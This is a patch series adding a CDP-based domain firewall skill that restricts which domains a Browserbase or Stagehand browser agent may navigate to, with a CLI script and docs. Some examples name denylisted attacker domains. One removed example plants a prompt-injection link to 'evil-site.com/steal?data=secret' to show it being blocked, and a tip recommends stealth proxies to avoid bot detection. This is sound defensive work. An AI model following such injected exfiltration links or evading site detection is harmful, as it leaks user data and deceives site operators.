Stagehand({ env: "BROWSERBASE" }); +await stagehand.init(); +const page = stagehand.context.pages()[0]; + +const auditLog: AuditEntry[] = []; + +await installDomainFirewall(page, { + policies: [ + denylist(["evil.com"]), + allowlist(["wikipedia.org", "en.wikipedia.org"]), + ], + defaultVerdict: "deny", + auditLog, +}); + +// Passes through (allowlist) +await page.goto("https://en.wikipedia.org/wiki/Web_browser"); + +// Blocked (default deny) +await page.goto("https://example.com").catch(() => { + console.log("Blocked by firewall"); +}); + +// Print audit log +for (const e of auditLog) { + console.log(`${e.action} ${e.domain} (${e.decidedBy})`); +} + +await stagehand.close(); +``` + +## Best Practices + +1. **Put denylists first** — Check known-bad domains before known-good. This ensures a domain on both lists is denied. +2. **Include subdomains explicitly in allowlists** — `wikipedia.org` and `en.wikipedia.org` are separate domains. Use `pattern(["*.wikipedia.org"], "allow")` for broad subdomain matching. +3. **Install before the first navigation** — Call `installDomainFirewall()` immediately after `stagehand.init()` and before any `page.goto()`. +4. **Add your starting URL's domain to the allowlist** — Otherwise the first `goto()` will be blocked. +5. **Log everything** — Pass an `auditLog` array and review it after the session. The `decidedBy` field tells you which policy made each decision. +6. **Set timeouts on interactive policies** — Don't hold requests indefinitely. The `interactive()` policy has built-in timeout support. +7. **Combine with Browserbase stealth/proxy** — The firewall protects the agent from navigating to bad domains. Stealth mode and proxies protect the agent from being detected by good domains. + +## Troubleshooting + +- **Navigation timeout after deny**: Expected. `Fetch.failRequest` causes the `page.goto()` Promise to reject with a network error. Wrap `goto()` in `.catch()`. +- **Sub-resources being blocked**: The `resourceType !== "Document"` filter should pass them through. If not, check that `Fetch.enable` patterns aren't too restrictive. +- **Firewall not catching link clicks**: Verify `Fetch.enable` was called with `patterns: [{ urlPattern: "*" }]`. +- **Session disconnected**: The CDP session from `getSessionForFrame` is tied to the frame lifecycle. If the page crashes, reinstall the firewall. +- **Policy order matters**: If a domain matches both an allowlist and a denylist, whichever policy appears first in the array wins. Put denylists before allowlists. + +For detailed examples, see [EXAMPLES.md](EXAMPLES.md). +For API reference, see [REFERENCE.md](REFERENCE.md). From d8490e47872b620ced444a0c491803a686c1668e Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Mon, 30 Mar 2026 14:30:42 -0700 Subject: [PATCH 02/25] Add session memory to interactive policy The interactive policy now remembers approved and denied domains for the rest of the session by default, so the operator is only prompted once per domain. Opt out with remember: false. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/REFERENCE.md | 5 +++-- skills/domain-firewall/SKILL.md | 25 ++++++++++++++++++------- 2 files changed, 21 insertions(+), 9 deletions(-) diff --git a/skills/domain-firewall/REFERENCE.md b/skills/domain-firewall/REFERENCE.md index b0c608e..260904a 100644 --- a/skills/domain-firewall/REFERENCE.md +++ b/skills/domain-firewall/REFERENCE.md @@ -200,17 +200,18 @@ Checks the domain's TLD against a rules map. Keys must include the leading dot ( ```typescript function interactive( handler: (req: NavigationRequest) => Promise<"allow" | "deny">, - opts?: { timeoutMs?: number; onTimeout?: "allow" | "deny" }, + opts?: { timeoutMs?: number; onTimeout?: "allow" | "deny"; remember?: boolean }, ): FirewallPolicy ``` -Calls the async handler for a human (or automated) decision. The request is held at the CDP level until the handler resolves. +Calls the async handler for a human (or automated) decision. The request is held at the CDP level until the handler resolves. **Remembers decisions by default** — approved and denied domains are cached for the session so the handler is only called once per domain. | Parameter | Type | Default | Description | |-----------|------|---------|-------------| | `handler` | `(req) => Promise<"allow" \| "deny">` | — | Async function that returns a verdict | | `opts.timeoutMs` | `number` | `30000` | Timeout in milliseconds | | `opts.onTimeout` | `"allow" \| "deny"` | `"deny"` | Verdict if handler times out | +| `opts.remember` | `boolean` | `true` | Cache verdicts per domain for the session. Set `false` to prompt every navigation. | **Policy name**: `"interactive"` diff --git a/skills/domain-firewall/SKILL.md b/skills/domain-firewall/SKILL.md index e144671..a666927 100644 --- a/skills/domain-firewall/SKILL.md +++ b/skills/domain-firewall/SKILL.md @@ -122,11 +122,11 @@ tld({ ".org": "allow", ".edu": "allow", ".gov": "allow", ".ru": "deny" }) ```typescript function interactive( handler: (req: NavigationRequest) => Promise<"allow" | "deny">, - opts?: { timeoutMs?: number; onTimeout?: "allow" | "deny" }, + opts?: { timeoutMs?: number; onTimeout?: "allow" | "deny"; remember?: boolean }, ): FirewallPolicy ``` -Calls the async handler and waits for a human decision. Built-in timeout defaults to 30 seconds, auto-denying on timeout. +Calls the async handler and waits for a human decision. Built-in timeout defaults to 30 seconds, auto-denying on timeout. **Remembers decisions by default** — once you approve or deny a domain, you won't be asked again for the rest of the session. Set `remember: false` to prompt every time. ```typescript import * as readline from "readline/promises"; @@ -139,7 +139,7 @@ interactive( const answer = await rl.question(" Allow? (y/n): "); return answer.trim().toLowerCase().startsWith("y") ? "allow" : "deny"; }, - { timeoutMs: 60000, onTimeout: "deny" }, + { timeoutMs: 60000, onTimeout: "deny" }, // remember: true is the default ) ``` @@ -254,19 +254,30 @@ export function tld( export function interactive( handler: (req: NavigationRequest) => Promise<"allow" | "deny">, - opts?: { timeoutMs?: number; onTimeout?: "allow" | "deny" }, + opts?: { timeoutMs?: number; onTimeout?: "allow" | "deny"; remember?: boolean }, ): FirewallPolicy { const timeoutMs = opts?.timeoutMs ?? 30000; const onTimeout = opts?.onTimeout ?? "deny"; + const remember = opts?.remember ?? true; + const approved = new Set(); + const denied = new Set(); return { name: "interactive", - evaluate: (req) => - Promise.race([ + evaluate: async (req) => { + if (approved.has(req.domain)) return "allow"; + if (denied.has(req.domain)) return "deny"; + const verdict = await Promise.race([ handler(req), new Promise<"allow" | "deny">((resolve) => setTimeout(() => resolve(onTimeout), timeoutMs), ), - ]), + ]); + if (remember) { + if (verdict === "allow") approved.add(req.domain); + else denied.add(req.domain); + } + return verdict; + }, }; } ``` From 96de626ebcb9148b66afb2d638fc6af99030b2f4 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Mon, 30 Mar 2026 14:46:56 -0700 Subject: [PATCH 03/25] Fix missing await on sendCDP calls in Fetch.requestPaused handler All page.sendCDP() calls inside the async event handler were fire-and-forget. If any rejected (session disconnected, request already handled), the unhandled promise rejection would crash Node.js and the paused CDP request would never resolve, permanently freezing the browser. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/SKILL.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/skills/domain-firewall/SKILL.md b/skills/domain-firewall/SKILL.md index a666927..5743625 100644 --- a/skills/domain-firewall/SKILL.md +++ b/skills/domain-firewall/SKILL.md @@ -311,7 +311,7 @@ export async function installDomainFirewall( // Pass through non-document requests (images, CSS, JS, fonts, etc.) const resourceType = params.resourceType || ""; if (resourceType !== "Document" && resourceType !== "") { - page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + await page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); return; } @@ -321,7 +321,7 @@ export async function installDomainFirewall( url.startsWith("about:") || url.startsWith("data:") ) { - page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + await page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); return; } @@ -329,7 +329,7 @@ export async function installDomainFirewall( try { domain = normalizeDomain(new URL(url).hostname); } catch { - page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + await page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); return; } @@ -345,13 +345,13 @@ export async function installDomainFirewall( time: ts(), domain, url: url.substring(0, 80), action: "ALLOWED", decidedBy, }); - page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + await page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); } else { auditLog?.push({ time: ts(), domain, url: url.substring(0, 80), action: "BLOCKED", decidedBy, }); - page.sendCDP("Fetch.failRequest", { + await page.sendCDP("Fetch.failRequest", { requestId: params.requestId, errorReason: "BlockedByClient", }); From 56a6d55b16e5228c6b2b16814f6bc76066b39a47 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Mon, 30 Mar 2026 17:14:23 -0700 Subject: [PATCH 04/25] Fail-closed on policy errors in Fetch.requestPaused handler Wrap evaluatePolicies + CDP response calls in try/catch so that if any policy's evaluate() throws, the paused request is denied rather than left permanently hanging the browser. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/SKILL.md | 40 ++++++++++++++++++++++----------- 1 file changed, 27 insertions(+), 13 deletions(-) diff --git a/skills/domain-firewall/SKILL.md b/skills/domain-firewall/SKILL.md index 5743625..838c227 100644 --- a/skills/domain-firewall/SKILL.md +++ b/skills/domain-firewall/SKILL.md @@ -334,22 +334,36 @@ export async function installDomainFirewall( } const req: NavigationRequest = { domain, url }; - const { verdict, decidedBy } = await evaluatePolicies( - policies, - req, - defaultVerdict, - ); - if (verdict === "allow") { - auditLog?.push({ - time: ts(), domain, url: url.substring(0, 80), - action: "ALLOWED", decidedBy, - }); - await page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); - } else { + try { + const { verdict, decidedBy } = await evaluatePolicies( + policies, + req, + defaultVerdict, + ); + + if (verdict === "allow") { + auditLog?.push({ + time: ts(), domain, url: url.substring(0, 80), + action: "ALLOWED", decidedBy, + }); + await page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + } else { + auditLog?.push({ + time: ts(), domain, url: url.substring(0, 80), + action: "BLOCKED", decidedBy, + }); + await page.sendCDP("Fetch.failRequest", { + requestId: params.requestId, + errorReason: "BlockedByClient", + }); + } + } catch (err) { + // Fail-closed: deny the request on any policy error to avoid + // permanently hanging the browser with a paused CDP request auditLog?.push({ time: ts(), domain, url: url.substring(0, 80), - action: "BLOCKED", decidedBy, + action: "BLOCKED", decidedBy: "error", }); await page.sendCDP("Fetch.failRequest", { requestId: params.requestId, From 96476abcf60966b0409e2d07f9ce835b454dd394 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Fri, 3 Apr 2026 14:30:48 -0700 Subject: [PATCH 05/25] Add CLI-native domain firewall script MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Runnable script that attaches to a live Browserbase session (or local Chrome) via CDP WebSocket and enforces domain allowlist/denylist policies at the protocol level. Zero Stagehand dependency — connects directly to the CDP target. Usage: node domain-firewall.mjs --session-id --allowlist "example.com" node domain-firewall.mjs --cdp-url ws://... --allowlist "localhost" Supports browser-level and page-level CDP targets, auto-attaches to page when connected at browser level (coexists with browse CLI). Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/package-lock.json | 36 ++ skills/domain-firewall/package.json | 9 + .../scripts/domain-firewall.mjs | 369 ++++++++++++++++++ 3 files changed, 414 insertions(+) create mode 100644 skills/domain-firewall/package-lock.json create mode 100644 skills/domain-firewall/package.json create mode 100644 skills/domain-firewall/scripts/domain-firewall.mjs diff --git a/skills/domain-firewall/package-lock.json b/skills/domain-firewall/package-lock.json new file mode 100644 index 0000000..435d91c --- /dev/null +++ b/skills/domain-firewall/package-lock.json @@ -0,0 +1,36 @@ +{ + "name": "domain-firewall", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "domain-firewall", + "version": "0.1.0", + "dependencies": { + "ws": "^8.18.0" + } + }, + "node_modules/ws": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.0.tgz", + "integrity": "sha512-sAt8BhgNbzCtgGbt2OxmpuryO63ZoDk/sqaB/znQm94T4fCEsy/yV+7CdC1kJhOU9lboAEU7R3kquuycDoibVA==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + } + } +} diff --git a/skills/domain-firewall/package.json b/skills/domain-firewall/package.json new file mode 100644 index 0000000..5dcd648 --- /dev/null +++ b/skills/domain-firewall/package.json @@ -0,0 +1,9 @@ +{ + "name": "domain-firewall", + "version": "0.1.0", + "private": true, + "type": "module", + "dependencies": { + "ws": "^8.18.0" + } +} diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs new file mode 100644 index 0000000..fad6cf3 --- /dev/null +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -0,0 +1,369 @@ +#!/usr/bin/env node + +/** + * domain-firewall.mjs — Protect a Browserbase session with domain policies + * + * Connects to a live Browserbase session via CDP WebSocket and intercepts + * all navigations, enforcing allowlist/denylist policies at the protocol level. + * + * Usage: + * node domain-firewall.mjs --session-id --allowlist "example.com,github.com" + * node domain-firewall.mjs --session-id --denylist "evil.com" --default allow + * + * Environment: + * BROWSERBASE_API_KEY Required for session debug URL lookup + */ + +import { execSync } from "node:child_process"; +import WebSocket from "ws"; + +// ============================================================================= +// CLI argument parsing +// ============================================================================= + +function parseArgs() { + const args = process.argv.slice(2); + const opts = { + sessionId: null, + cdpUrl: null, + allowlist: [], + denylist: [], + defaultVerdict: "deny", + quiet: false, + json: false, + }; + + for (let i = 0; i < args.length; i++) { + switch (args[i]) { + case "--session-id": + opts.sessionId = args[++i]; + break; + case "--cdp-url": + opts.cdpUrl = args[++i]; + break; + case "--allowlist": + opts.allowlist = args[++i].split(",").map((d) => normalizeDomain(d.trim())); + break; + case "--denylist": + opts.denylist = args[++i].split(",").map((d) => normalizeDomain(d.trim())); + break; + case "--default": + opts.defaultVerdict = args[++i]; + break; + case "--quiet": + opts.quiet = true; + break; + case "--json": + opts.json = true; + break; + case "--help": + case "-h": + console.log(` +domain-firewall — Protect a browser session with domain policies + +Usage: + node domain-firewall.mjs --session-id [options] + node domain-firewall.mjs --cdp-url [options] + +Options: + --session-id Browserbase session ID + --cdp-url Direct CDP WebSocket URL (for local Chrome) + --allowlist Comma-separated allowed domains + --denylist Comma-separated denied domains + --default Default verdict: allow or deny (default: deny) + --quiet Suppress per-request logging + --json Log events as JSON lines + --help Show this help + +Environment: + BROWSERBASE_API_KEY Required when using --session-id +`); + process.exit(0); + } + } + + if (!opts.sessionId && !opts.cdpUrl) { + console.error("[firewall] Error: --session-id or --cdp-url is required"); + process.exit(1); + } + + return opts; +} + +// ============================================================================= +// Domain helpers +// ============================================================================= + +function normalizeDomain(hostname) { + return hostname.replace(/^www\./, "").toLowerCase(); +} + +function ts() { + return new Date().toISOString().substring(11, 19); +} + +// ============================================================================= +// Policy evaluation +// ============================================================================= + +function evaluate(domain, opts) { + // Denylist takes priority + if (opts.denylist.length > 0 && opts.denylist.includes(domain)) { + return { action: "BLOCKED", policy: "denylist" }; + } + + // If allowlist is specified, only listed domains pass + if (opts.allowlist.length > 0) { + if (opts.allowlist.includes(domain)) { + return { action: "ALLOWED", policy: "allowlist" }; + } + // Not on allowlist → use default + return { + action: opts.defaultVerdict === "allow" ? "ALLOWED" : "BLOCKED", + policy: "default", + }; + } + + // No allowlist set → use default verdict + return { + action: opts.defaultVerdict === "allow" ? "ALLOWED" : "BLOCKED", + policy: "default", + }; +} + +// ============================================================================= +// CDP WebSocket URL resolution +// ============================================================================= + +function getCDPUrl(sessionId) { + try { + const raw = execSync(`bb sessions debug ${sessionId}`, { + encoding: "utf-8", + timeout: 15000, + stdio: ["pipe", "pipe", "pipe"], + }); + const data = JSON.parse(raw.trim()); + + // Prefer page-level target (required for Fetch interception) + if (data.pages && data.pages[0]?.debuggerUrl) { + const debugUrl = data.pages[0].debuggerUrl; + // Extract wss:// URL from the inspector URL query param + const match = debugUrl.match(/wss=([^&?]+)/); + if (match) { + return "wss://" + match[1]; + } + } + + // Fallback to browser-level target + if (data.wsUrl) return data.wsUrl; + + throw new Error("No CDP URL found in debug response"); + } catch (e) { + console.error(`[firewall] Failed to get CDP URL for session ${sessionId}`); + console.error(`[firewall] ${e.message}`); + console.error("[firewall] Make sure the session is RUNNING and bb CLI is installed."); + process.exit(1); + } +} + +// ============================================================================= +// CDP WebSocket client +// ============================================================================= + +function connectCDP(wsUrl) { + return new Promise((resolve, reject) => { + const ws = new WebSocket(wsUrl); + ws.on("open", () => resolve(ws)); + ws.on("error", reject); + }); +} + +function createCDPClient(ws) { + const client = { + _nextId: 1, + _pending: new Map(), + send(method, params = {}) { + const id = client._nextId++; + ws.send(JSON.stringify({ id, method, params })); + return new Promise((resolve) => { + client._pending.set(id, resolve); + }); + }, + }; + + ws.on("message", (raw) => { + const msg = JSON.parse(raw.toString()); + if (msg.id && client._pending.has(msg.id)) { + client._pending.get(msg.id)(msg.result || msg.error); + client._pending.delete(msg.id); + } + }); + + return client; +} + +// ============================================================================= +// Main +// ============================================================================= + +async function main() { + const opts = parseArgs(); + + // 1. Resolve CDP URL + let wsUrl; + if (opts.cdpUrl) { + console.error(`[firewall] Connecting to ${opts.cdpUrl}...`); + wsUrl = opts.cdpUrl; + } else { + if (!process.env.BROWSERBASE_API_KEY) { + console.error("[firewall] Error: BROWSERBASE_API_KEY not set."); + process.exit(1); + } + console.error(`[firewall] Connecting to session ${opts.sessionId}...`); + wsUrl = getCDPUrl(opts.sessionId); + } + + // 2. Connect via WebSocket + const ws = await connectCDP(wsUrl); + const cdp = createCDPClient(ws); + console.error(`[firewall] Connected.`); + + // If connected to a browser-level target, attach to the first page + // This avoids conflicts when another client (browse CLI) already holds the page target + let cdpSessionId = null; + if (wsUrl.includes("/devtools/browser/")) { + const targets = await cdp.send("Target.getTargets"); + const page = targets?.targetInfos?.find((t) => t.type === "page"); + if (page) { + const attached = await cdp.send("Target.attachToTarget", { + targetId: page.targetId, + flatten: true, + }); + cdpSessionId = attached.sessionId; + console.error(`[firewall] Attached to page target.`); + } + } + + // Wrap cdp.send to include sessionId when attached via browser target + const sendCDP = (method, params = {}) => { + if (cdpSessionId) { + const id = cdp._nextId++; + ws.send(JSON.stringify({ id, method, params, sessionId: cdpSessionId })); + return new Promise((resolve) => cdp._pending.set(id, resolve)); + } + return cdp.send(method, params); + }; + + // Log policy config + if (opts.allowlist.length > 0) { + console.error(`[firewall] Allowlist: ${opts.allowlist.join(", ")}`); + } + if (opts.denylist.length > 0) { + console.error(`[firewall] Denylist: ${opts.denylist.join(", ")}`); + } + console.error(`[firewall] Default: ${opts.defaultVerdict}`); + console.error(`[firewall] Listening for navigations...\n`); + + // 3. Enable Fetch interception + await sendCDP("Fetch.enable", { patterns: [{ urlPattern: "*" }] }); + + // 4. Handle intercepted requests + ws.on("message", async (raw) => { + const msg = JSON.parse(raw.toString()); + // Match events from our attached session or direct page connection + if (msg.method !== "Fetch.requestPaused") return; + if (cdpSessionId && msg.sessionId !== cdpSessionId) return; + + const params = msg.params; + const url = params.request?.url || ""; + const resourceType = params.resourceType || ""; + + // Pass through non-Document resources + if (resourceType !== "Document" && resourceType !== "") { + await sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + return; + } + + // Pass through internal URLs + if (url.startsWith("chrome") || url.startsWith("about:") || url.startsWith("data:")) { + await sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + return; + } + + // Extract domain + let domain; + try { + domain = normalizeDomain(new URL(url).hostname); + } catch { + await sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + return; + } + + // Evaluate policy + try { + const result = evaluate(domain, opts); + + if (result.action === "ALLOWED") { + await sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + } else { + await sendCDP("Fetch.failRequest", { + requestId: params.requestId, + errorReason: "BlockedByClient", + }); + } + + // Log + if (!opts.quiet) { + if (opts.json) { + console.log( + JSON.stringify({ + time: ts(), + domain, + url: url.substring(0, 120), + action: result.action, + policy: result.policy, + }) + ); + } else { + const tag = result.action === "ALLOWED" ? "ALLOWED" : "BLOCKED"; + const pad = tag === "ALLOWED" ? " " : ""; + console.log( + `[${ts()}] ${tag}${pad} ${domain.padEnd(30)} (${result.policy})` + ); + } + } + } catch (err) { + // Fail-closed: deny on error to avoid hanging the browser + await sendCDP("Fetch.failRequest", { + requestId: params.requestId, + errorReason: "BlockedByClient", + }); + if (!opts.quiet) { + console.log(`[${ts()}] BLOCKED ${domain.padEnd(30)} (error: ${err.message})`); + } + } + }); + + // 5. Graceful shutdown + const cleanup = async () => { + console.error("\n[firewall] Shutting down..."); + try { + await sendCDP("Fetch.disable"); + } catch {} + ws.close(); + process.exit(0); + }; + + process.on("SIGINT", cleanup); + process.on("SIGTERM", cleanup); + + ws.on("close", () => { + console.error("[firewall] Session ended."); + process.exit(0); + }); +} + +main().catch((err) => { + console.error(`[firewall] Fatal: ${err.message}`); + process.exit(1); +}); From 18ff652cd88bc5e42c38609eeafc7b5f010416d3 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Fri, 3 Apr 2026 14:59:04 -0700 Subject: [PATCH 06/25] Rewrite skill docs to be CLI-first SKILL.md now leads with the CLI script workflow (--session-id, --cdp-url, --allowlist, --default) and the agent workflow with browse CLI. TypeScript API moved to "Advanced: Code Integration" section. EXAMPLES.md reordered with CLI examples first. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/EXAMPLES.md | 310 ++++++----------- skills/domain-firewall/SKILL.md | 540 +++++++++-------------------- 2 files changed, 264 insertions(+), 586 deletions(-) diff --git a/skills/domain-firewall/EXAMPLES.md b/skills/domain-firewall/EXAMPLES.md index 0742dc0..f9d2719 100644 --- a/skills/domain-firewall/EXAMPLES.md +++ b/skills/domain-firewall/EXAMPLES.md @@ -1,222 +1,148 @@ # Domain Firewall Examples -Practical patterns for using the CDP domain firewall with composable policies. +## CLI Examples -## Example 1: Basic Allowlist +### Example 1: Lock agent to specific domains -**User request**: "Lock my agent to only browse Wikipedia and GitHub" - -```typescript -import { Stagehand } from "@browserbasehq/stagehand"; -import { installDomainFirewall, allowlist } from "./domain-firewall"; - -const stagehand = new Stagehand({ env: "BROWSERBASE" }); -await stagehand.init(); -const page = stagehand.context.pages()[0]; - -await installDomainFirewall(page, { - policies: [ - allowlist(["wikipedia.org", "en.wikipedia.org", "github.com"]), - ], - defaultVerdict: "deny", -}); +```bash +# Only allow Stripe docs and GitHub — block everything else +node domain-firewall.mjs --session-id $SID \ + --allowlist "docs.stripe.com,stripe.com,github.com" \ + --default deny +``` -// These work: -await page.goto("https://en.wikipedia.org/wiki/Node.js"); -await page.goto("https://github.com/browserbase/stagehand"); +Output: +``` +[14:30:01] ALLOWED docs.stripe.com (allowlist) +[14:30:05] BLOCKED evil.com (default) +[14:30:08] ALLOWED stripe.com (allowlist) +``` -// This is blocked: -await page.goto("https://example.com").catch(() => { - console.log("Denied — not in allowlist"); -}); +### Example 2: Block known-bad, allow everything else -await stagehand.close(); +```bash +# Permissive mode — only block specific threats +node domain-firewall.mjs --session-id $SID \ + --denylist "evil.com,phishing-site.com,malware.download" \ + --default allow ``` -## Example 2: Human-in-the-Loop Approval (stdin) - -**User request**: "Let the agent browse, but ask me before it visits unknown domains" +### Example 3: Local Chrome with honeypot test -The browser freezes on the current page while the terminal waits for your `y`/`n` input. +```bash +# Start Chrome +/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \ + --remote-debugging-port=9222 --headless=new about:blank & -```typescript -import * as readline from "readline/promises"; -import { - installDomainFirewall, - allowlist, - interactive, - type NavigationRequest, -} from "./domain-firewall"; +# Get CDP URL +CDP_URL=$(curl -s http://localhost:9222/json/version | jq -r .webSocketDebuggerUrl) -const rl = readline.createInterface({ - input: process.stdin, - output: process.stdout, -}); +# Start firewall — only allow localhost +node domain-firewall.mjs --cdp-url "$CDP_URL" \ + --allowlist "localhost" --default deny -const promptUser = async (req: NavigationRequest): Promise<"allow" | "deny"> => { - console.log(`\n Agent wants to visit: ${req.domain}`); - console.log(` URL: ${req.url}`); - const answer = await rl.question(" Allow? (y/n): "); - return answer.trim().toLowerCase().startsWith("y") ? "allow" : "deny"; -}; +# In another terminal, navigate: +# localhost:8080 → ALLOWED +# 127.0.0.1:9090 → BLOCKED (different hostname) +# evil.com → BLOCKED +``` -await installDomainFirewall(page, { - policies: [ - allowlist(["en.wikipedia.org"]), // known-good: instant - interactive(promptUser, { timeoutMs: 60000, onTimeout: "deny" }), // unknown: ask operator - ], - defaultVerdict: "deny", -}); +### Example 4: JSON logging for post-session analysis -// Wikipedia: passes through instantly (allowlist) -await page.goto("https://en.wikipedia.org/wiki/Web_browser"); +```bash +# Run firewall with JSON output +node domain-firewall.mjs --session-id $SID \ + --allowlist "example.com" --default deny --json > firewall.log & -// example.com: held → terminal prompts "Allow? (y/n):" → you decide -const result = await page - .goto("https://example.com", { timeoutMs: 65000 }) - .catch((e: any) => e); +# ... agent browses ... -if (result instanceof Error) { - console.log("You denied the navigation"); -} else { - console.log(`Approved — now on: ${page.url()}`); -} +# Analyze blocked navigations +cat firewall.log | jq 'select(.action == "BLOCKED")' -// Don't forget to close readline when done -rl.close(); +# Count blocks per domain +cat firewall.log | jq -r 'select(.action == "BLOCKED") | .domain' | sort | uniq -c | sort -rn ``` -## Example 3: Catching Malicious Link Clicks +### Example 5: Protect a browse CLI session -**User request**: "Protect my agent against prompt injection links on untrusted pages" +```bash +# Create session +SESSION_ID=$(bb sessions create --body '{"projectId":"...","keepAlive":true}' | jq -r .id) -The firewall catches navigations from DOM clicks — not just `page.goto()`. +# Enable firewall in background +node domain-firewall.mjs --session-id $SESSION_ID \ + --allowlist "docs.stripe.com,stripe.com" --default deny & -```typescript -import { installDomainFirewall, allowlist, denylist } from "./domain-firewall"; +# Browse normally — firewall is transparent +browse open https://docs.stripe.com --session-id $SESSION_ID +browse snapshot +# ... agent works ... -await installDomainFirewall(page, { - policies: [ - denylist(["evil-site.com", "phishing.com"]), - allowlist(["en.wikipedia.org"]), - ], - defaultVerdict: "deny", -}); - -// Navigate to a trusted page -await page.goto("https://en.wikipedia.org/wiki/Web_browser", { - waitUntil: "domcontentloaded", -}); - -// Simulate a malicious link injected into the page (e.g. via prompt injection) -await page.sendCDP("Runtime.evaluate", { - expression: ` - const link = document.createElement("a"); - link.href = "https://evil-site.com/steal?data=secret"; - link.id = "malicious-link"; - link.textContent = "Click here for more info"; - document.body.prepend(link); - `, -}); +# Malicious navigation from page content → automatically blocked +``` -// When the agent clicks this link, the firewall catches it -await page.sendCDP("Runtime.evaluate", { - expression: `document.getElementById("malicious-link").click()`, -}); +--- -await new Promise((r) => setTimeout(r, 500)); -console.log(`URL after click: ${page.url()}`); -// Still on Wikipedia — the malicious navigation was blocked by denylist policy -``` +## Code Integration Examples (TypeScript API) -## Example 4: TLD and Pattern Rules +For developers embedding the firewall directly in Stagehand projects. -**User request**: "Allow educational and open-source domains, block suspicious TLDs, and allow all GitHub subdomains" +### Example 6: Basic Allowlist ```typescript -import { - installDomainFirewall, - denylist, - allowlist, - tld, - pattern, -} from "./domain-firewall"; +import { Stagehand } from "@browserbasehq/stagehand"; +import { installDomainFirewall, allowlist } from "./domain-firewall"; + +const stagehand = new Stagehand({ env: "BROWSERBASE" }); +await stagehand.init(); +const page = stagehand.context.pages()[0]; await installDomainFirewall(page, { policies: [ - denylist(["evil.com"]), // 1. known-bad - allowlist(["github.com"]), // 2. known-good - pattern(["*.github.com", "*.githubusercontent.com"], "allow"), // 3. GitHub subdomains - tld({ ".org": "allow", ".edu": "allow", ".gov": "allow" }), // 4. trusted TLDs - pattern(["*.ru", "*.cn"], "deny"), // 5. suspicious patterns + allowlist(["wikipedia.org", "en.wikipedia.org", "github.com"]), ], defaultVerdict: "deny", }); -// github.com → allowed (allowlist) -// raw.githubusercontent.com → allowed (pattern) -// mozilla.org → allowed (tld: .org) -// mit.edu → allowed (tld: .edu) -// sketchy.ru → denied (pattern: *.ru) -// example.com → denied (default) -``` +await page.goto("https://en.wikipedia.org/wiki/Node.js"); // allowed +await page.goto("https://example.com").catch(() => "blocked"); // blocked -## Example 5: Audit Log with Policy Attribution +await stagehand.close(); +``` -**User request**: "Log all navigation attempts and show which policy decided each one" +### Example 7: Human-in-the-Loop Approval (stdin) ```typescript -import { - installDomainFirewall, - denylist, - allowlist, - tld, - type AuditEntry, -} from "./domain-firewall"; +import * as readline from "readline/promises"; +import { installDomainFirewall, allowlist, interactive } from "./domain-firewall"; -const auditLog: AuditEntry[] = []; +const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); await installDomainFirewall(page, { policies: [ - denylist(["evil.com"]), - allowlist(["en.wikipedia.org", "github.com"]), - tld({ ".org": "allow" }), + allowlist(["en.wikipedia.org"]), + interactive( + async (req) => { + console.log(`\n Agent wants to visit: ${req.domain} (${req.url})`); + const answer = await rl.question(" Allow? (y/n): "); + return answer.trim().toLowerCase().startsWith("y") ? "allow" : "deny"; + }, + { timeoutMs: 60000, onTimeout: "deny" }, + ), ], defaultVerdict: "deny", - auditLog, }); -// ... agent performs browsing tasks ... - -// Print audit report -console.log("\n=== Navigation Audit Report ===\n"); - -for (const entry of auditLog) { - const icon = entry.action === "ALLOWED" ? "PASS" : "DENY"; - console.log( - `[${entry.time}] ${icon.padEnd(5)} ${entry.domain.padEnd(30)} decided by: ${entry.decidedBy}`, - ); -} -// Example output: -// [14:23:01] PASS en.wikipedia.org decided by: allowlist -// [14:23:05] PASS github.com decided by: allowlist -// [14:23:08] DENY evil.com decided by: denylist -// [14:23:10] PASS mozilla.org decided by: tld -// [14:23:12] DENY example.com decided by: default +// Wikipedia: instant (allowlist). Unknown domain: held → terminal prompts → you decide. +rl.close(); ``` -## Example 6: Full Policy Chain - -**User request**: "Set up comprehensive navigation security with known-bad blocking, known-good allowing, TLD rules, and human approval as a fallback" +### Example 8: Full Policy Chain ```typescript import { installDomainFirewall, - denylist, - allowlist, - tld, - pattern, - interactive, + denylist, allowlist, tld, pattern, interactive, type AuditEntry, } from "./domain-firewall"; @@ -224,57 +150,21 @@ const auditLog: AuditEntry[] = []; await 